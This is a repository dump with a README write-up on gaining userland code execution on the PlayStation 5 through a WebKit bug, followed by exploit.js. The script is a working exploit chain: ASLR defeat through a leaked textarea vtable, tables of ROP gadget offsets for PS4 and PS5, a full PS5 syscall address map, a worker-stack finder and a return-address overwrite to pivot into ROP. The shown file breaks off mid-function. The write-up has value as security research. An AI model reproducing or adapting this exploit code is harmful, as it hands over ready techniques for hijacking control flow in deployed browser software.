[
  {
    "path": ".github/README.md",
    "content": "﻿﻿# Exploring the Playstation 5 Security - Userland\r\n---\r\n## Introduction\r\nThe PlayStation 5 was released on November 12th 2020. While it's similar to the PS4 in it's architecture, the security model is vastly improved on both kernel and userland fronts. Below is some key system information on system software and some of the changes from the last generation.\r\n\r\n- Uses FreeBSD 11.\r\n- No development access (ie. can't run unsigned code without exploits).\r\n- To date there are no public exploits.\r\n- Added mitigations in kernel and userland.\r\n- Added hypervisor that handles security and app containers.\r\n\r\n---\r\n\r\n\r\n## Userland Overview\r\nBack in September Project Zero released a [report](https://github.com/googleprojectzero/0days-in-the-wild/blob/67fde24b17e0defe07208d7a7f63563168ed5e62/0day-RCAs/2021/CVE-2021-30858.md) for what they believed to be CVE-2021-30858, this turned out to be wrong as it was actually CVE-2021-30889 they were describing. A [proof of concept](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) was written for PS4 by sleirsgoevy, which we later modified to gain ROP execution on 9.00 for the [kernel exploit](https://github.com/ChendoChap/pOOBs4). The vulnerability won't be covered here, this writeup will focus on taking the arbitrary read/write and `leakobj()/fakeobj()` primitives the exploit provides to gain code execution on PS5.\r\n\r\nLower firmwares such as 2.00 don't seem to be vulnerable, likely because the relevant FontFace code isn't present in older builds of WebKit (this holds true on PS4 as well, as firmwares lower than 9.00 can't be exploited with this WebKit bug).\r\n\r\nFirmware 4.03 however, we found the browser was vulnerable. Unfortunately the exploit strategy used on PS4 could not be used on PS5 because of clang-based CFI. On PS4, we can use the `leakobj()` and arbitrary write primitive to leak an `HTMLTextArea`'s vtable and smash one the various virtual calls for code execution. On PS5, these virtual calls are verified.\r\n\r\nVirtual calls now have code that looks something like this, where it's address is enforced:\r\n\r\n![image info](./cfi.png \"PS5 CFI enforcement on webkit\")\r\n\r\n---\r\n\r\n\r\n### [Mitigations](https://wiki.freebsd.org/SecurityMitigations)\r\n\r\n\r\n|name|kernel|user|description|\r\n|---|---|---|---|\r\n|[SMEP: Supervisor Mode Execution Prevention](https://svnweb.freebsd.org/base?view=revision&revision=242433)|x||SMEP will prevent supervisor mode from executing user-space code.|\r\n|[SMAP: Supervisor Mode Access Prevention](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention)|x||Complements Supervisor Mode Execution Prevention (SMEP), extends protection to reads and writes.|\r\n|[XOM: eXecute Only Memory (R^X)](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/what-is-execute-only-memory-xom)|x|x|Disallows reading any memory page marked as executable.|\r\n|[Clang-CFI: Control Flow Integrity](https://clang.llvm.org/docs/ControlFlowIntegrity.html)|x|x|Protects against forward-edge control flow hijack (virtual calls, etc.)|\r\n\r\n[Clang's Control Flow Integrity flags](https://clang.llvm.org/docs/ControlFlowIntegrity.html)\r\n\r\n|-fsanitize=cfi-|description|\r\n|----|---|\r\n|cast-strict| Enables strict cast checks.|\r\n|derived-cast| Base-to-derived cast to the wrong dynamic type.|\r\n|unrelated-cast| Cast from void* or another unrelated type to the wrong dynamic type.|\r\n|nvcall| Non-virtual call via an object whose vptr is of the wrong dynamic type.|\r\n|vcal| Virtual call via an object whose vptr is of the wrong dynamic type.|\r\n|icall| Indirect call of a function with wrong dynamic type.|\r\n|mfcall| Indirect call via a member function pointer with wrong dynamic type.|\r\n\r\n---\r\n\r\n## WebKit Exploit Implementation\r\n\r\n### Overview\r\nAn alternative was needed to achieve code execution in WebKit. Thankfully, PS5's CFI is only forward-edge and does not use shadow stack, so backward-edge attacks (such as attacking return addresses on the stack) are fair game.  Javascript provides a somewhat interesting piece of functionality called [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API). These Workers are at their core simple threads which execute javascript in an isolated environment. These were useful for exploitation, as they had a reliable stack we could leak, and gives a thread to pivot to our ROP chain.\r\n\r\n### Leaking a worker stack\r\nThe libkernel library used by WebKit (and many other applications) keeps a list of threads for that process, and includes information such as the stack address and size. By iterating this list using the arbitrary read/write, we can find a worker's stack address.\r\n\r\n```javascript\r\nfunction find_worker() {\r\n    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;\r\n    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;\r\n    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;\r\n\r\n    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {\r\n        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));\r\n        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));\r\n        if (stacksz.low == 0x80000) {\r\n            return stack;\r\n        }\r\n    }\r\n    alert(\"failed to find worker.\");\r\n}\r\n```\r\n\r\n### Launching a ROP chain\r\n\r\nOnce we have a worker stack, we can smash a known return address on the stack to stack pivot and get ROP running. Due to the stack being deterministic, we can setup a dummy worker with a `postMessage` handler and overwrite the return address at `stack+0x7FB88`.\r\n\r\n```javascript\r\nconst OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);\r\n// ...\r\nlet return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);\r\nlet original_return_address = p.read8(return_address_ptr);\r\nlet stack_pointer_ptr = return_address_ptr.add32(0x8);\r\n// ...\r\nasync function launch_chain(chain) {\r\n    // ...\r\n    \r\n    //overwrite return address\r\n    p.write8(return_address_ptr, gadgets[\"pop rsp\"]);\r\n    p.write8(stack_pointer_ptr, chain.stack_entry_point);\r\n\r\n    let p1 = await new Promise((resolve) => {\r\n        const channel = new MessageChannel();\r\n        channel.port1.onmessage = () => {\r\n            channel.port1.close();\r\n            resolve(1);\r\n        }\r\n        worker.postMessage(0, [channel.port2]);\r\n    });\r\n    \r\n    // ...\r\n}\r\n```\r\n\r\n---\r\n\r\n## Conclusion\r\n\r\nGaining userland code execution on PS5 is trickier than on PS4, but it's possible. Of course, this was made easier by the fact that we have binaries\\* and thus access to ROP gadgets. Otherwise, achieving code execution would have been far more difficult due to XOM. This is a userland exploit. Attacking the kernel is much more difficult due to above mitigations, and is left for a future writeup.\r\n\r\n---\r\n\r\n## Credits\r\nChendoChap && Znullptr\r\n\r\n**Thanks**\r\n\r\n- Anonymous\\*\r\n- Specter\r\n- sleirsgoevy\r\n- Everyone that donated.\r\n"
  },
  {
    "path": "exploit.js",
    "content": "//Common chain\nlet chain;\n//Bases\nlet libSceNKWebKitBase;\nlet libSceLibcInternalBase;\nlet libKernelBase;\n//ASLR defeat patsy (former vtable buddy)\nlet textArea = document.createElement(\"textarea\");\n\n//Control flag\nconst IS_PS5 = navigator.userAgent.includes(\"PlayStation 5\");\n\nfunction set_offset_for_platform(ps5_offset, ps4_offset) {\n    return (IS_PS5) ? ps5_offset : ps4_offset;\n}\n\nconst OFFSET_wk_vtable_first_element = set_offset_for_platform(0x00D04580, 0x0104F110);\nconst OFFSET_wk_memset_import = set_offset_for_platform(0x028F9D38, 0x02F4A4E8);\nconst OFFSET_wk___stack_chk_fail_import = set_offset_for_platform(0x028F9C38, 0x02F4A450);\n\nconst OFFSET_lk___stack_chk_fail = set_offset_for_platform(0x00019970, 0x0001FF60);\nconst OFFSET_lk_pthread_create_name_np = set_offset_for_platform(0x00001B60, 0x00019F10);\nconst OFFSET_lk_pthread_exit = set_offset_for_platform(0x00020A80, 0x000077A0);\nconst OFFSET_lk_pthread_join = set_offset_for_platform(0x0002FAD0, 0x0000AFA0);\nconst OFFSET_lk__thread_list = set_offset_for_platform(0x000601A8, 0x00058248);\n\nconst OFFSET_lc_memset = set_offset_for_platform(0x000148F0, 0x0004F810);\nconst OFFSET_lc_setjmp = set_offset_for_platform(0x0005E9B0, 0x000BB5BC);\nconst OFFSET_lc_longjmp = set_offset_for_platform(0x0005EA00, 0x000BB616);\n\nconst OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);\n\n//ps5 malloc: 0x05C60\n//ps5 free  : 0x05C70\n//ps5 memcpy: 0x03A90\n//ps5 memcmp: 0x437F0\n\n//ps5 __error: 0x1D2A0\n\n\nlet nogc = [];\nlet syscalls = {};\nlet gadgets = {};\n\nlet ps5_syscall_map = {\n    0x001: 0x34230, // sys_exit\n    0x002: 0x351E0, // sys_fork\n    0x003: 0x33400, // sys_read\n    0x004: 0x33360, // sys_write\n    0x005: 0x33A00, // sys_open\n    0x006: 0x34030, // sys_close\n    0x007: 0x32C20, // sys_wait4\n    0x00A: 0x34D20, // sys_unlink\n    0x00C: 0x346B0, // sys_chdir\n    0x00F: 0x340B0, // sys_chmod\n    0x014: 0x33580, // sys_getpid\n    0x017: 0x33080, // sys_setuid\n    0x018: 0x34690, // sys_getuid\n    0x019: 0x33A40, // sys_geteuid\n    0x01B: 0x33AE0, // sys_recvmsg\n    0x01C: 0x33D10, // sys_sendmsg\n    0x01D: 0x34860, // sys_recvfrom\n    0x01E: 0x32F80, // sys_accept\n    0x01F: 0x32DA0, // sys_getpeername\n    0x020: 0x34EC0, // sys_getsockname\n    0x021: 0x349E0, // sys_access\n    0x022: 0x34B60, // sys_chflags\n    0x023: 0x34530, // sys_fchflags\n    0x024: 0x35410, // sys_sync\n    0x025: 0x339E0, // sys_kill\n    0x027: 0x33480, // sys_getppid\n    0x029: 0x34A40, // sys_dup\n    0x02A: 0x333D0, // sys_pipe\n    0x02B: 0x35080, // sys_getegid\n    0x02C: 0x353D0, // sys_profil\n    0x02F: 0x32F20, // sys_getgid\n    0x031: 0x32F00, // sys_getlogin\n    0x032: 0x34790, // sys_setlogin\n    0x035: 0x33140, // sys_sigaltstack\n    0x036: 0x332A0, // sys_ioctl\n    0x037: 0x34570, // sys_reboot\n    0x038: 0x34470, // sys_revoke\n    0x03B: 0x34770, // sys_execve\n    0x041: 0x34110, // sys_msync\n    0x049: 0x33900, // sys_munmap\n    0x04A: 0x34670, // sys_mprotect\n    0x04B: 0x337F0, // sys_madvise\n    0x04E: 0x339C0, // sys_mincore\n    0x04F: 0x32E80, // sys_getgroups\n    0x050: 0x33420, // sys_setgroups\n    0x053: 0x32E60, // sys_setitimer\n    0x056: 0x32C80, // sys_getitimer\n    0x059: 0x344D0, // sys_getdtablesize\n    0x05A: 0x348E0, // sys_dup2\n    0x05C: 0x33F10, // sys_fcntl\n    0x05D: 0x33A60, // sys_select\n    0x05F: 0x32EC0, // sys_fsync\n    0x060: 0x33DF0, // sys_setpriority\n    0x061: 0x33640, // sys_socket\n    0x062: 0x346D0, // sys_connect\n    0x063: 0x35040, // sys_netcontrol\n    0x064: 0x32C40, // sys_getpriority\n    0x065: 0x34C60, // sys_netabort\n    0x066: 0x34FE0, // sys_netgetsockinfo\n    0x068: 0x34CE0, // sys_bind\n    0x069: 0x33F50, // sys_setsockopt\n    0x06A: 0x33240, // sys_listen\n    0x071: 0x34250, // sys_socketex\n    0x072: 0x33C20, // sys_socketclose\n    0x074: 0x353F0, // sys_gettimeofday\n    0x075: 0x354D0, // sys_getrusage\n    0x076: 0x32C00, // sys_getsockopt\n    0x078: 0x33E90, // sys_readv\n    0x079: 0x33CF0, // sys_writev\n    0x07A: 0x34940, // sys_settimeofday\n    0x07C: 0x33880, // sys_fchmod\n    0x07D: 0x340F0, // sys_netgetiflist\n    0x07E: 0x34FC0, // sys_setreuid\n    0x07F: 0x33BE0, // sys_setregid\n    0x080: 0x34B40, // sys_rename\n    0x083: 0x33B60, // sys_flock\n    0x085: 0x35430, // sys_sendto\n    0x086: 0x35260, // sys_shutdown\n    0x087: 0x345F0, // sys_socketpair\n    0x088: 0x34390, // sys_mkdir\n    0x089: 0x335E0, // sys_rmdir\n    0x08A: 0x32AF0, // sys_utimes\n    0x08C: 0x34F80, // sys_adjtime\n    0x08D: 0x340D0, // sys_kqueueex\n    0x093: 0x34330, // sys_setsid\n    0x0A5: 0x32E20, // sys_sysarch\n    0x0B6: 0x34DC0, // sys_setegid\n    0x0B7: 0x32C60, // sys_seteuid\n    0x0BC: 0x34E20, // sys_stat\n    0x0BD: 0x35220, // sys_fstat\n    0x0BE: 0x33C00, // sys_lstat\n    0x0BF: 0x33300, // sys_pathconf\n    0x0C0: 0x345B0, // sys_fpathconf\n    0x0C2: 0x33B40, // sys_getrlimit\n    0x0C3: 0x33720, // sys_setrlimit\n    0x0C4: 0x34D40, // sys_getdirentries\n    0x0CA: 0x34B20, // sys___sysctl\n    0x0CB: 0x341D0, // sys_mlock\n    0x0CC: 0x34BC0, // sys_munlock\n    0x0CE: 0x33680, // sys_futimes\n    0x0D1: 0x33C60, // sys_poll\n    0x0E8: 0x32D20, // sys_clock_gettime\n    0x0E9: 0x34190, // sys_clock_settime\n    0x0EA: 0x35190, // sys_clock_getres\n    0x0EB: 0x34D60, // sys_ktimer_create\n    0x0EC: 0x334E0, // sys_ktimer_delete\n    0x0ED: 0x35240, // sys_ktimer_settime\n    0x0EE: 0x346F0, // sys_ktimer_gettime\n    0x0EF: 0x338A0, // sys_ktimer_getoverrun\n    0x0F0: 0x34C20, // sys_nanosleep\n    0x0F1: 0x34450, // sys_ffclock_getcounter\n    0x0F2: 0x33440, // sys_ffclock_setestimate\n    0x0F3: 0x342D0, // sys_ffclock_getestimate\n    0x0F7: 0x34CC0, // sys_clock_getcpuclockid2\n    0x0FD: 0x34880, // sys_issetugid\n    0x110: 0x35020, // sys_getdents\n    0x121: 0x34730, // sys_preadv\n    0x122: 0x33C80, // sys_pwritev\n    0x136: 0x33980, // sys_getsid\n    0x13B: 0x34E40, // sys_aio_suspend\n    0x144: 0x33500, // sys_mlockall\n    0x145: 0x34900, // sys_munlockall\n    0x147: 0x33600, // sys_sched_setparam\n    0x148: 0x34270, // sys_sched_getparam\n    0x149: 0x32DC0, // sys_sched_setscheduler\n    0x14A: 0x33C40, // sys_sched_getscheduler\n    0x14B: 0x33AA0, // sys_sched_yield\n    0x14C: 0x33040, // sys_sched_get_priority_max\n    0x14D: 0x33160, // sys_sched_get_priority_min\n    0x14E: 0x33390, // sys_sched_rr_get_interval\n    0x154: 0x32B50, // sys_sigprocmask\n    0x155: 0x32B90, // sys_sigsuspend\n    0x157: 0x34A60, // sys_sigpending\n    0x159: 0x34B80, // sys_sigtimedwait\n    0x15A: 0x347C0, // sys_sigwaitinfo\n    0x16A: 0x34DA0, // sys_kqueue\n    0x16B: 0x33000, // sys_kevent\n    0x17B: 0x32FA0, // sys_mtypeprotect\n    0x188: 0x330C0, // sys_uuidgen\n    0x189: 0x35510, // sys_sendfile\n    0x18D: 0x33560, // sys_fstatfs\n    0x190: 0x33120, // sys_ksem_close\n    0x191: 0x33EB0, // sys_ksem_post\n    0x192: 0x34750, // sys_ksem_wait\n    0x193: 0x354F0, // sys_ksem_trywait\n    0x194: 0x33260, // sys_ksem_init\n    0x195: 0x34C80, // sys_ksem_open\n    0x196: 0x34960, // sys_ksem_unlink\n    0x197: 0x330E0, // sys_ksem_getvalue\n    0x198: 0x34920, // sys_ksem_destroy\n    0x1A0: 0x34E00, // sys_sigaction\n    0x1A1: 0x34AA0, // sys_sigreturn\n    0x1A5: 0x33780, // sys_getcontext\n    0x1A6: 0x344B0, // sys_setcontext\n    0x1A7: 0x345D0, // sys_swapcontext\n    0x1AD: 0x337D0, // sys_sigwait\n    0x1AE: 0x32EA0, // sys_thr_create\n    0x1AF: 0x33200, // sys_thr_exit\n    0x1B0: 0x33BA0, // sys_thr_self\n    0x1B1: 0x33220, // sys_thr_kill\n    0x1B9: 0x34840, // sys_ksem_timedwait\n    0x1BA: 0x32B70, // sys_thr_suspend\n    0x1BB: 0x334A0, // sys_thr_wake\n    0x1BC: 0x34510, // sys_kldunloadf\n    0x1C6: 0x32BF0, // sys__umtx_op\n    0x1C6: 0x35200, // sys__umtx_op\n    0x1C7: 0x34F40, // sys_thr_new\n    0x1C8: 0x34EA0, // sys_sigqueue\n    0x1D0: 0x34800, // sys_thr_set_name\n    0x1D2: 0x33DB0, // sys_rtprio_thread\n    0x1DB: 0x33540, // sys_pread\n    0x1DC: 0x34650, // sys_pwrite\n    0x1DD: 0x34F20, // sys_mmap\n    0x1DE: 0x34A20, // sys_lseek\n    0x1DF: 0x33AC0, // sys_truncate\n    0x1E0: 0x33520, // sys_ftruncate\n    0x1E1: 0x32B10, // sys_thr_kill2\n    0x1E2: 0x35490, // sys_shm_open\n    0x1E3: 0x34F00, // sys_shm_unlink\n    0x1E6: 0x33740, // sys_cpuset_getid\n    0x1E7: 0x35300, // sys_cpuset_getaffinity\n    0x1E8: 0x34AC0, // sys_cpuset_setaffinity\n    0x1F3: 0x32EE0, // sys_openat\n    0x203: 0x34590, // sys___cap_rights_get\n    0x20A: 0x33FD0, // sys_pselect\n    0x214: 0x34090, // sys_regmgr_call\n    0x215: 0x33E10, // sys_jitshm_create\n    0x216: 0x343F0, // sys_jitshm_alias\n    0x217: 0x332E0, // sys_dl_get_list\n    0x218: 0x34130, // sys_dl_get_info\n    0x21A: 0x34070, // sys_evf_create\n    0x21B: 0x334C0, // sys_evf_delete\n    0x21C: 0x34410, // sys_evf_open\n    0x21D: 0x33FF0, // sys_evf_close\n    0x21E: 0x342B0, // sys_evf_wait\n    0x21F: 0x34A80, // sys_evf_trywait\n    0x220: 0x34430, // sys_evf_set\n    0x221: 0x349A0, // sys_evf_clear\n    0x222: 0x337B0, // sys_evf_cancel\n    0x223: 0x34290, // sys_query_memory_protection\n    0x224: 0x33B80, // sys_batch_map\n    0x225: 0x33D90, // sys_osem_create\n    0x226: 0x32D60, // sys_osem_delete\n    0x227: 0x32CE0, // sys_osem_open\n    0x228: 0x352E0, // sys_osem_close\n    0x229: 0x34370, // sys_osem_wait\n    0x22A: 0x34980, // sys_osem_trywait\n    0x22B: 0x34610, // sys_osem_post\n    0x22C: 0x33EF0, // sys_osem_cancel\n    0x22D: 0x33CA0, // sys_namedobj_create\n    0x22E: 0x339A0, // sys_namedobj_delete\n    0x22F: 0x35570, // sys_set_vm_container\n    0x230: 0x33460, // sys_debug_init\n    0x233: 0x33DD0, // sys_opmc_enable\n    0x234: 0x32E40, // sys_opmc_disable\n    0x235: 0x33E50, // sys_opmc_set_ctl\n    0x236: 0x33E70, // sys_opmc_set_ctr\n    0x237: 0x348C0, // sys_opmc_get_ctr\n    0x23C: 0x336E0, // sys_virtual_query\n    0x249: 0x34D00, // sys_is_in_sandbox\n    0x24A: 0x338C0, // sys_dmem_container\n    0x24B: 0x34170, // sys_get_authinfo\n    0x24C: 0x32CC0, // sys_mname\n    0x24F: 0x332C0, // sys_dynlib_dlsym\n    0x250: 0x335C0, // sys_dynlib_get_list\n    0x251: 0x35060, // sys_dynlib_get_info\n    0x252: 0x33F70, // sys_dynlib_load_prx\n    0x253: 0x32F60, // sys_dynlib_unload_prx\n    0x254: 0x34DE0, // sys_dynlib_do_copy_relocations\n    0x256: 0x33D70, // sys_dynlib_get_proc_param\n    0x257: 0x350C0, // sys_dynlib_process_needed_and_relocate\n    0x258: 0x32B30, // sys_sandbox_path\n    0x259: 0x336A0, // sys_mdbg_service\n    0x25A: 0x33D30, // sys_randomized_path\n    0x25B: 0x34BA0, // sys_rdup\n    0x25C: 0x331A0, // sys_dl_get_metadata\n    0x25D: 0x338E0, // sys_workaround8849\n    0x25E: 0x330A0, // sys_is_development_mode\n    0x25F: 0x34210, // sys_get_self_auth_info\n    0x260: 0x354B0, // sys_dynlib_get_info_ex\n    0x262: 0x35550, // sys_budget_get_ptype\n    0x263: 0x333B0, // sys_get_paging_stats_of_all_threads\n    0x264: 0x352C0, // sys_get_proc_type_info\n    0x265: 0x32AD0, // sys_get_resident_count\n    0x267: 0x33E30, // sys_get_resident_fmem_count\n    0x268: 0x34EE0, // sys_thr_get_name\n    0x269: 0x344F0, // sys_set_gpo\n    0x26A: 0x341F0, // sys_get_paging_stats_of_all_objects\n    0x26B: 0x32FE0, // sys_test_debug_rwmem\n    0x26C: 0x33100, // sys_free_stack\n    0x26E: 0x32D00, // sys_ipmimgr_call\n    0x26F: 0x34150, // sys_get_gpo\n    0x270: 0x35530, // sys_get_vm_map_timestamp\n    0x271: 0x34AE0, // sys_opmc_set_hw\n    0x272: 0x33620, // sys_opmc_get_hw\n    0x273: 0x32CA0, // sys_get_cpu_usage_all\n    0x274: 0x34310, // sys_mmap_dmem\n    0x275: 0x336C0, // sys_physhm_open\n    0x276: 0x33ED0, // sys_physhm_unlink\n    0x278: 0x35470, // sys_thr_suspend_ucontext\n    0x279: 0x33960, // sys_thr_resume_ucontext\n    0x27A: 0x33920, // sys_thr_get_ucontext\n    0x27B: 0x33A20, // sys_thr_set_ucontext\n    0x27C: 0x33660, // sys_set_timezone_info\n    0x27D: 0x343B0, // sys_set_phys_fmem_limit\n    0x27E: 0x33760, // sys_utc_to_localtime\n    0x27F: 0x35590, // sys_localtime_to_utc\n    0x280: 0x34710, // sys_set_uevt\n    0x281: 0x33280, // sys_get_cpu_usage_proc\n    0x282: 0x33B00, // sys_get_map_statistics\n    0x283: 0x348A0, // sys_set_chicken_switches\n    0x286: 0x351C0, // sys_get_kernel_mem_statistics\n    0x287: 0x343D0, // sys_get_sdk_compiled_version\n    0x288: 0x32D40, // sys_app_state_change\n    0x289: 0x34F60, // sys_dynlib_get_obj_member\n    0x28C: 0x32DE0, // sys_process_terminate\n    0x28D: 0x335A0, // sys_blockpool_open\n    0x28E: 0x33340, // sys_blockpool_map\n    0x28F: 0x34D80, // sys_blockpool_unmap\n    0x290: 0x349C0, // sys_dynlib_get_info_for_libdbg\n    0x291: 0x33A80, // sys_blockpool_batch\n    0x292: 0x331E0, // sys_fdatasync\n    0x293: 0x33700, // sys_dynlib_get_list2\n    0x294: 0x35450, // sys_dynlib_get_info2\n    0x295: 0x34C00, // sys_aio_submit\n    0x296: 0x33180, // sys_aio_multi_delete\n    0x297: 0x33FB0, // sys_aio_multi_wait\n    0x298: 0x33060, // sys_aio_multi_poll\n    0x299: 0x34B00, // sys_aio_get_data\n    0x29A: 0x33F90, // sys_aio_multi_cancel\n    0x29B: 0x32F40, // sys_get_bio_usage_all\n    0x29C: 0x34630, // sys_aio_create\n    0x29D: 0x350A0, // sys_aio_submit_cmd\n    0x29E: 0x34FA0, // sys_aio_init\n    0x29F: 0x34A00, // sys_get_page_table_stats\n    0x2A0: 0x34E60, // sys_dynlib_get_list_for_libdbg\n    0x2A1: 0x35000, // sys_blockpool_move\n    0x2A2: 0x34E80, // sys_virtual_query_all\n    0x2A3: 0x33F30, // sys_reserve_2mb_page\n    0x2A4: 0x347E0, // sys_cpumode_yield\n    0x2A5: 0x342F0, // sys_wait6\n    0x2A6: 0x33D50, // sys_cap_rights_limit\n    0x2A7: 0x33320, // sys_cap_ioctls_limit\n    0x2A8: 0x34050, // sys_cap_ioctls_get\n    0x2A9: 0x34820, // sys_cap_fcntls_limit\n    0x2AA: 0x32FC0, // sys_cap_fcntls_get\n    0x2AB: 0x35320, // sys_bindat\n    0x2AC: 0x33B20, // sys_connectat\n    0x2AD: 0x32D80, // sys_chflagsat\n    0x2AE: 0x32BD0, // sys_accept4\n    0x2AF: 0x331C0, // sys_pipe2\n    0x2B0: 0x33BC0, // sys_aio_mlock\n    0x2B1: 0x352A0, // sys_procctl\n    0x2B2: 0x34550, // sys_ppoll\n    0x2B3: 0x34490, // sys_futimens\n    0x2B4: 0x34C40, // sys_utimensat\n    0x2B5: 0x341B0, // sys_numa_getaffinity\n    0x2B6: 0x34010, // sys_numa_setaffinity\n    0x2C1: 0x33020, // sys_get_phys_page_size\n    0x2C9: 0x35280, // sys_get_ppr_sdk_compiled_version\n    0x2CC: 0x33860, // sys_openintr\n    0x2CD: 0x34350, // sys_dl_get_info_2\n    0x2CE: 0x33940, // sys_acinfo_add\n    0x2CF: 0x32BB0, // sys_acinfo_delete\n    0x2D0: 0x34BE0, // sys_acinfo_get_all_for_coredump\n    0x2D1: 0x34CA0, // sys_ampr_ctrl_debug\n    0x2D2: 0x32E00, // sys_workspace_ctrl\n}\n\nlet ps4_wk_gadgetmap = {\n    \"ret\": 0x32,\n    \"pop rdi\": 0x319690,\n    \"pop rsi\": 0x1F4D6,\n    \"pop rdx\": 0x986C,\n    \"pop rcx\": 0x657B7,\n    \"pop r8\": 0xAFAA71,\n    \"pop r9\": 0x422571,\n    \"pop rax\": 0x51A12,\n    \"pop rsp\": 0x4E293,\n    \"mov [rdi], rsi\": 0x1A97920,\n    \"mov [rdi], rax\": 0x10788F7,\n    \"mov [rdi], eax\": 0x9964BC,\n    \"infloop\": 0x7DFF,\n\n    //branching specific gadgets\n    \"cmp [rcx], eax\": 0x471F02,\n    \"sete al\": 0xC975,\n    \"seta al\": 0x110297,\n    \"setb al\": 0x2B762,\n    \"setg al\": 0x1EDF5,\n    \"setl al\": 0x6C8D86,\n    \"shl rax, 3\": 0x4AB143,\n    \"add rax, rdx\": 0x3F662C,\n    \"mov rax, [rax]\": 0x241CC,\n    \"inc dword [rax]\": 0xCC638,\n};\n\n\nlet ps5_wk_gadgetmap = {\n    \"ret\": 0x000042,\n    \"pop rdi\": 0x043B7C,\n    \"pop rsi\": 0x08f33E,\n    \"pop rdx\": 0x0156EA,\n    \"pop rcx\": 0x060DF3,\n    \"pop r8\": 0x1262A4F,\n    \"pop r9\": 0x4E450C,\n    \"pop rax\": 0x084094,\n    \"pop rsp\": 0x05D293,\n    \"mov [rdi], rsi\": 0x0118570,\n    \"mov [rdi], rax\": 0x0C3A5C0,\n    \"mov [rdi], eax\": 0x03FB6E6,\n    \"infloop\": 0x109E1,\n\n    //branching specific gadgets\n    \"cmp [rcx], eax\": 0x204122,\n    \"sete al\": 0x0B7B735,\n    \"seta al\": 0xCCFB4,\n    \"setb al\": 0x1B7657,\n    \"setg al\": 0x00708c9,\n    \"setl al\": 0x1517692,\n    \"shl rax, 3\": 0x1A43F03,\n    \"add rax, rdx\": 0x16F4948,\n    \"mov rax, [rax]\": 0x142E309,\n    \"inc dword [rax]\": 0x017629AF,\n};\n\nlet worker = new Worker(\"rop_slave.js\");\n\n\n//Make sure worker is alive?\nasync function wait_for_worker() {\n    let p1 = await new Promise((resolve) => {\n        const channel = new MessageChannel();\n        channel.port1.onmessage = () => {\n            channel.port1.close();\n            resolve(1);\n        }\n        worker.postMessage(0, [channel.port2]);\n    });\n    return p1;\n}\n\nfunction find_worker() {\n\n    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;\n    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;\n    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;\n\n    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {\n        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));\n        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));\n        if (stacksz.low == 0x80000) {\n            return stack;\n        }\n    }\n    alert(\"failed to find worker.\");\n}\n\nasync function userland() {\n    p.pre_chain = pre_chain;\n    p.launch_chain = launch_chain;\n    p.malloc = malloc;\n    p.stringify = stringify;\n    p.array_from_address = array_from_address;\n    p.readstr = readstr;\n    p.writestr = writestr;\n\n    //pointer to vtable address\n    let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));\n    //address of vtable\n    let textAreaVtable = p.read8(textAreaVtPtr);\n    //use address of 1st entry (in .text) to calculate libSceNKWebKitBase\n    libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);\n\n    libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));\n    libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);\n\n    libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_fail_import));\n    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);\n    if (IS_PS5) {\n        for (let gadget in ps5_wk_gadgetmap) {\n            gadgets[gadget] = libSceNKWebKitBase.add32(ps5_wk_gadgetmap[gadget]);\n        }\n        for (let sysc in ps5_syscall_map) {\n            syscalls[sysc] = libKernelBase.add32(ps5_syscall_map[sysc]);\n        }\n    } else {\n        for (let gadget in ps4_wk_gadgetmap) {\n            gadgets[gadget] = libSceNKWebKitBase.add32(ps4_wk_gadgetmap[gadget]);\n        }\n    }\n\n    function malloc(sz, type = 4) {\n        let backing;\n        if (type == 1) {\n            backing = new Uint8Array(0x10000 + sz);\n        } else if (type == 2) {\n            backing = new Uint16Array(0x10000 + sz);\n        } else if (type == 4) {\n            backing = new Uint32Array(0x10000 + sz);\n        }\n        nogc.push(backing);\n        let ptr = p.read8(p.leakval(backing).add32(0x10));\n        ptr.backing = backing;\n        return ptr;\n    }\n\n    function array_from_address(addr, size) {\n        let og_array = new Uint32Array(0x1000);\n        let og_array_i = p.leakval(og_array).add32(0x10);\n\n        p.write8(og_array_i, addr);\n        p.write4(og_array_i.add32(0x8), size);\n        p.write4(og_array_i.add32(0xC), 0x1);\n\n        nogc.push(og_array);\n        return og_array;\n    }\n\n    function stringify(str) {\n        let bufView = new Uint8Array(str.length + 1);\n        for (let i = 0; i < str.length; i++) {\n            bufView[i] = str.charCodeAt(i) & 0xFF;\n        }\n        nogc.push(bufView);\n        return p.read8(p.leakval(bufView).add32(0x10));\n    }\n\n    function readstr(addr) {\n        let str = \"\";\n        for (let i = 0;; i++) {\n            let c = p.read1(addr.add32(i));\n            if (c == 0x0) {\n                break;\n            }\n            str += String.fromCharCode(c);\n\n        }\n        return str;\n    }\n\n    function writestr(addr, str) {\n        let waddr = addr.add32(0);\n        if (typeof (str) == \"string\") {\n\n            for (let i = 0; i < str.length; i++) {\n            